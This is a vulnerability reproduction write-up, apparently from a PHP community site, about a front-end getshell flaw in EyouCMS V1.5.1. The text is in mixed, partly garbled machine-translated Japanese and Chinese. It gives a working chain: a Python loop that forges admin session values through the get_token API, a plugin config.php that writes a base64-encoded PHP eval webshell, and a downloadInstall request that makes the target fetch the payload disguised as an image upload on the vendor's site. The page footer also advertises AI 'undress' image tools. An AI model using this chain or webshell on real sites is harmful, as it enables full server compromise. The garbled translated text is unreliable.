目次
0x00 脆弱性の紹介
##フロントデスクで application/api/controller に管理者セッションを設定します/Ajax.php :215
0x05 修复建议
ホームページ 運用・保守 安全性 EyouCMS V1.5.1 フロントエンド getshell 脆弱性を再現する方法

EyouCMS V1.5.1 フロントエンド getshell 脆弱性を再現する方法

May 20, 2023 pm 08:14 PM
getshell eyoucms

0x00 脆弱性の紹介

Zanzan Network Technology EyouCMS (EyouCMS) は、中国 Zanzan Network Technology Company System ( CMS)。

Eyoucms v1.5.1 およびそれ以前のバージョンには、任意のユーザー バックグラウンド ログインとファイル インクルードの脆弱性があります。この脆弱性により、攻撃者は API を呼び出して管理者のセッションをフォアグラウンドに設定し、バックグラウンドでリモート プラグイン ダウンロード ファイルをダウンロードすることができます。 getshell が含まれています。

#0x01 影響を受けるバージョン

EyouCMS

0x02 環境セットアップ

ダウンロード

公式 Web サイト ダウンロード バージョン V1.5.1
ダウンロード リンク: https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip

インストール

phpstudy 統合環境による簡単な導入

如何进行EyouCMS V1.5.1 前台getshell漏洞复现

##0x03 脆弱性分析

##フロントデスクで application/api/controller に管理者セッションを設定します/Ajax.php :215

##get_token如何进行EyouCMS V1.5.1 前台getshell漏洞复现

関数はフロント デスクが自由に呼び出すことができ、#仮パラメータの ##$name

変数も http 経由で渡されます。以下の図に示すように、トークン関数を追跡します。

ハイライト部分にセッションを設定する操作があり、名前は制御可能、値はリクエストのタイムスタンプmd5の値です。制御できません。

このセッション設定操作を通じて、バックグラウンド管理者のセッションの構築を試みることができます。次に、バックグラウンド管理者のログイン ロジックを整理します。 application/admin/controller/Base.php:54
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

では、admin_login_expire と admin_id

if (session('?admin_id') && getTime() - intval($admin_login_expire) < $web_login_expiretime)
ログイン後にコピー

如何进行EyouCMS V1.5.1 前台getshell漏洞复现admin_login_expire

# の 2 つのセッションが関係しています。 ## (このセッションは減算検証を実行し、特定の条件を満たす必要があります)

admin_id

(このセッションは存在するだけでよく、その値は)

これら 2 つのセッションを設定した後も、if 条件の判定に

check_priv


関数があることがわかります。

<div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">if (0 &gt;= intval(session('admin_info.role_id')))</pre><div class="contentsignin">ログイン後にコピー</div></div>admin_info.role_id<p><br><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488398297.jpg" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现">(0 以下であれば十分です)</p>After 3 つのセッションをセットアップすると、バックグラウンドに入ることができます。図に示すように: <p><code>

バックグラウンド リモート プラグイン ダウンロードの getshell は、application/admin/controller/Weapp の $url を渡します。 .php:1235



. 次に、ホストが eyoucms.com である必要がある URL 解析を実行します。 如何进行EyouCMS V1.5.1 前台getshell漏洞复现つまり、プログラムは公式 Web サイトからのプラグインのダウンロードとインストールに制限されていますが、この検証は単純すぎるためバイパスできる可能性があります。

次に、ダウンロード リンクを要求し、それを解凍し、config.php をインクルードします。

如何进行EyouCMS V1.5.1 前台getshell漏洞复现

後から行うプラグイン標準の判定は機能しなくなります。


0x04 脆弱性の悪用如何进行EyouCMS V1.5.1 前台getshell漏洞复现

フロント デスクで管理者セッションを設定する

まず、ログインに成功した後の管理者セッションと、ログインに成功した一般ユーザー セッションを削除します。ログインしていません 比較用

管理者:

一般ユーザー:


如何进行EyouCMS V1.5.1 前台getshell漏洞复现get_token 関数を呼び出して、admin_login_expire という名前のセッションを設定します


如何进行EyouCMS V1.5.1 前台getshell漏洞复现通常ユーザーのセッションが正常にセットアップされていることを確認してください。

同様に、admin_id と admin_info.roke_id を追加できます。


しかし、如何进行EyouCMS V1.5.1 前台getshell漏洞复现この md5 文字列は明らかに脆弱性分析の要件を満たしていないため、適切な md5 値が見つかるまでセッションはスクリプトによって常に更新されます

while 1 :
    admin_login_expire = api_psot("admin_login_expire")
    num_10 = admin_login_expire[2:12]
    if is_number(num_10):
        print("admin_login_expire=",num_10)
        break
while 1 :
    role_id = api_psot("admin_info.role_id")
    num_1 = role_id[2:3]
    if num_1 in ["a","b","c","d","e","f"]:
        print("role_id=",num_1)
        break
admin_id = api_psot("admin_id")
print("admin_id=",admin_id[2:-1])
ログイン後にコピー

実行結果:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

session:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

再经过application/admin/controller/Base.php:58和:106的intval()的转换:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

成功使用该PHPSESSID进入后台:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

后台远程插件下载文件包含getshell
然后开始制作恶意压缩包,文件目录结构如下:

weappp\weapp\test\config.phpconfig.php

文件内容为写入webshell

<?php  file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4="));
?>
ログイン後にコピー

压缩成weappp.zip,修改后缀为jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

到eyoucms.com官网寻找图片上传点
比如这个提问模块的问题描述:
https://www.eyoucms.com/ask/
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

获取到上传的图片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在浏览器中请求下载该插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

此时webshell已成功写入:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

访问webshell:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

0x05 修复建议

升级EyouCMS至V1.5.2或以后版本。

以上がEyouCMS V1.5.1 フロントエンド getshell 脆弱性を再現する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)